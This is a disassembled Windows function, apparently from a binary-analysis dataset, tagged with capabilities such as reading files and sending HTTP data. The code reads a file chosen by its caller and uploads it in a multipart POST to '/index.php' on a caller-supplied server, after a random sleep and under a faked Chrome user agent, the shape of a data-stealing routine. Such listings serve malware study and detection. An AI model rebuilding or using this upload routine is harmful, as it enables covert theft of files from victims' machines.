Function at 0x412760
Capabilities:
Connect to http server
Create http request
Get file size
Read and send data from client to server
Read file on windows
Reference http user-agent string
Send data
Send http request

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4c034a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x108
cmp byte [0x4da960], 0
push esi
push edi
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x98], ecx
je 0x4127c0
push 0
call fcn.004ab5ce
add esp, 4
push eax
call fcn.004aa01a
add esp, 4
mov byte [0x4da960], 0
call fcn.004a9ff9
cdq
mov ecx, 0x7e
idiv ecx
add edx, 0x61
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0xf
lea ecx, [ebp - 0x114]
call fcn.0040ef20
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x78]
push 0
push 0x4c7b7c
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 0xf
mov byte [ebp - 0x78], 0
call fcn.0041ab50
lea eax, [ebp - 0x114]
mov byte [ebp - 4], 1
push eax
mov edx, str._____________________________
lea ecx, [ebp - 0xf8]
call fcn.0041afe0
add esp, 4
push str._r_nContent_Disposition:_form_data__name_file___filename__wS__r_nContent_Type:_application_octet_stream_r_n_r_n
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.0041b600
lea ecx, [ebp - 0x78]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x90], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x90]
push eax
movq qword [ebp - 0x80], xmm0
call fcn.0041a990
mov edx, dword [ebp - 0x7c]
cmp edx, 0x10
jb 0x4128a8
mov ecx, dword [ebp - 0x90]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41289e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4130b1
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0xe4]
cmp edx, 0x10
jb 0x4128e6
mov ecx, dword [ebp - 0xf8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4128dc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4130b1
push edx
push ecx
call fcn.004a24e6
add esp, 8
cmp dword [ebp - 0x64], 0x10
lea ecx, [ebp - 0x78]
mov eax, dword [ebp - 0x68]
cmovae ecx, dword [ebp - 0x78]
add eax, ecx
cmp dword [ebp - 0x64], 0x10
lea ecx, [ebp - 0x78]
cmovae ecx, dword [ebp - 0x78]
push ecx
push eax
push ecx
lea ecx, [ebp - 0xe0]
call fcn.00405df0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x60]
push 0
push 0x4c7b7c
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], 0
call fcn.0041ab50
lea eax, [ebp - 0x114]
mov byte [ebp - 4], 4
push eax
mov edx, str._r_n_____________________________
lea ecx, [ebp - 0xf8]
call fcn.0041afe0
add esp, 4
push str.___r_n
mov ecx, eax
mov byte [ebp - 4], 5
call fcn.0041b600
lea ecx, [ebp - 0x60]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x90], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x90]
push eax
movq qword [ebp - 0x80], xmm0
call fcn.0041a990
mov edx, dword [ebp - 0x7c]
cmp edx, 0x10
jb 0x4129cd
mov ecx, dword [ebp - 0x90]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4129c3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4130b6
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0xe4]
cmp edx, 0x10
jb 0x412a0b
mov ecx, dword [ebp - 0xf8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x412a01
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4130b6
push edx
push ecx
call fcn.004a24e6
add esp, 8
cmp dword [ebp - 0x4c], 0x10
lea ecx, [ebp - 0x60]
mov eax, dword [ebp - 0x50]
cmovae ecx, dword [ebp - 0x60]
add eax, ecx
cmp dword [ebp - 0x4c], 0x10
lea ecx, [ebp - 0x60]
cmovae ecx, dword [ebp - 0x60]
push ecx
push eax
push ecx
lea ecx, [ebp - 0xc8]
call fcn.00405df0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x48]
push 0
push 0x4c7b7c
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0xf
mov byte [ebp - 0x48], 0
call fcn.0041ab50
lea eax, [ebp - 0x114]
mov byte [ebp - 4], 7
push eax
mov edx, str.Content_Type:_multipart_form_data__boundary___________________________
lea ecx, [ebp - 0xf8]
call fcn.0041afe0
add esp, 4
push 0x4c7b7c
mov ecx, eax
mov byte [ebp - 4], 8
call fcn.0041b600
lea ecx, [ebp - 0x48]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x90], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x90]
push eax
movq qword [ebp - 0x80], xmm0
call fcn.0041a990
mov edx, dword [ebp - 0x7c]
cmp edx, 0x10
jb 0x412af2
mov ecx, dword [ebp - 0x90]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x412ae8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4130bb
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0xe4]
cmp edx, 0x10
jb 0x412b30
mov ecx, dword [ebp - 0xf8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x412b26
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4130bb
push edx
push ecx
call fcn.004a24e6
add esp, 8
cmp dword [ebp - 0x34], 0x10
lea ecx, [ebp - 0x48]
mov eax, dword [ebp - 0x38]
cmovae ecx, dword [ebp - 0x48]
add eax, ecx
cmp dword [ebp - 0x34], 0x10
lea ecx, [ebp - 0x48]
cmovae ecx, dword [ebp - 0x48]
push ecx
push eax
push ecx
lea ecx, [ebp - 0xb0]
call fcn.00405df0
cmp dword [ebp - 0xcc], 8
lea edi, [ebp - 0xe0]
push 0
cmovae edi, dword [ebp - 0xe0]
lea eax, [ebp - 0xc8]
cmp dword [ebp - 0xb4], 8
push 0x80
cmovae eax, dword [ebp - 0xc8]
cmp dword [ebp - 0x9c], 8
push 3
push 0
push 0
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0xb0]
cmovae eax, dword [ebp - 0xb0]
push 0x80000000
push dword [ebp - 0x18]
mov dword [ebp - 0x30], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x412e78
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x1c], eax
cmp eax, 0xffffffff
je 0x412e78
push 4
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x28], eax
test eax, eax
je 0x412e78
push 0
lea ecx, [ebp - 0xfc]
push ecx
push dword [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x412e78
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, edi
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x412c20
sub ecx, edx
mov edx, dword [ebp - 0x18]
sar ecx, 1
lea esi, [edx + 2]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x412c35
sub edx, esi
sar edx, 1
lea eax, [edx + ecx]
add eax, eax
push eax
call fcn.004a9d98
add esp, 4
mov esi, eax
mov dword [ebp - 0x94], esi
push dword [ebp - 0x18]
push edi
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, esi
add esp, 0xc
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x412c70
mov edi, dword [ebp - 0x24]
sub ecx, edx
sar ecx, 1
add ecx, ecx
mov dword [ebp - 0x20], ecx
lea edx, [edi + 2]
nop word [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x412c90
sub edi, edx
sar edi, 1
push ecx
add edi, edi
call fcn.004a9d98
add esp, 4
mov esi, eax
mov dword [ebp - 0x2c], esi
push edi
call fcn.004a9d98
add esp, 4
mov dword [ebp - 0x18], eax
push dword [ebp - 0x20]
push 0
push esi
call fcn.004a3c90
add esp, 0xc
push edi
push 0
push dword [ebp - 0x18]
call fcn.004a3c90
add esp, 0xc
push 0
push 0
push dword [ebp - 0x20]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0xffffffffffffffff
push dword [ebp - 0x94]
push 0
push 0
call esi
push 0
push 0
push edi
mov edi, dword [ebp - 0x18]
push edi
push 0xffffffffffffffff
push dword [ebp - 0x24]
push 0
push 0
call esi
mov esi, dword [ebp - 0x2c]
mov edx, esi
lea ecx, [edx + 1]
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x412d10
sub edx, ecx
mov ecx, edi
lea edi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412d20
sub ecx, edi
lea eax, [ecx + edx]
add eax, dword [ebp - 0x1c]
push eax
mov dword [ebp - 0x24], eax
call fcn.004a9d98
add esp, 4
mov edi, eax
mov dword [ebp - 0x2c], edi
push dword [ebp - 0x24]
push 0
push edi
call fcn.004a3c90
mov ecx, esi
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412d53
push dword [ebp - 0x1c]
sub ecx, edx
push dword [ebp - 0x28]
lea eax, [ecx + edi]
push eax
call fcn.004a5830
mov ecx, esi
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412d73
sub ecx, edx
push ecx
push esi
push edi
call fcn.004a5830
mov edx, dword [ebp - 0x18]
add esp, 0xc
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x28], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412d92
sub ecx, dword [ebp - 0x28]
lea eax, [esi + 1]
mov dword [ebp - 0x28], eax
mov al, byte [esi]
inc esi
test al, al
jne 0x412da2
sub esi, dword [ebp - 0x28]
push ecx
push edx
lea eax, [esi + edi]
add eax, dword [ebp - 0x1c]
push eax
call fcn.004a5830
add esp, 0xc
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_89.0.4389.72_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x20], eax
test eax, eax
je 0x412e72
push 1
push 0
push 3
push 0
push 0
push 0x50
push dword [ebp - 0x98]
push eax
call dword [sym.imp.WININET.dll_InternetConnectW]
mov edi, eax
test edi, edi
je 0x412e69
push 0
push 0
push 0
push 0
push 0
push str._index.php
push str.POST
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov esi, eax
test esi, esi
je 0x412e60
mov ecx, dword [ebp - 0x30]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x412e21
push dword [ebp - 0x24]
sub ecx, edx
push dword [ebp - 0x2c]
sar ecx, 1
push ecx
push dword [ebp - 0x30]
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
test eax, eax
je 0x412e5c
call esi
push edi
call esi
push dword [ebp - 0x20]
call esi
mov byte [ebp - 0x11], 1
jmp 0x412e7c
call esi
jmp 0x412e66
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
push dword [ebp - 0x20]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov byte [ebp - 0x11], 1
jmp 0x412e7c
mov byte [ebp - 0x11], 0
mov edx, dword [ebp - 0x9c]
cmp edx, 8
jb 0x412ebc
mov ecx, dword [ebp - 0xb0]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x412eb2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4130c0
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov edx, dword [ebp - 0x34]
xor eax, eax
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x9c], 7
mov word [ebp - 0xb0], ax
cmp edx, 0x10
jb 0x412f0d
mov ecx, dword [ebp - 0x48]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x412f03
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4130c0
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov edx, dword [ebp - 0xb4]
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0xf
mov byte [ebp - 0x48], 0
cmp edx, 8
jb 0x412f5f
mov ecx, dword [ebp - 0xc8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x412f55
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4130c0
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov edx, dword [ebp - 0x4c]
xor eax, eax
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 7
mov word [ebp - 0xc8], ax
cmp edx, 0x10
jb 0x412fb0
mov ecx, dword [ebp - 0x60]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x412fa6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4130c0
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov edx, dword [ebp - 0xcc]
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], 0
cmp edx, 8
jb 0x413002
mov ecx, dword [ebp - 0xe0]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x412ff8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4130c0
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov edx, dword [ebp - 0x64]
xor eax, eax
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xcc], 7
mov word [ebp - 0xe0], ax
cmp edx, 0x10
jb 0x413053
mov ecx, dword [ebp - 0x78]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x413049
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4130c0
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov edx, dword [ebp - 0x100]
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 0xf
mov byte [ebp - 0x78], 0
cmp edx, 0x10
jb 0x41309b
mov ecx, dword [ebp - 0x114]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x413091
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4130c0
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp - 0x11]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
int3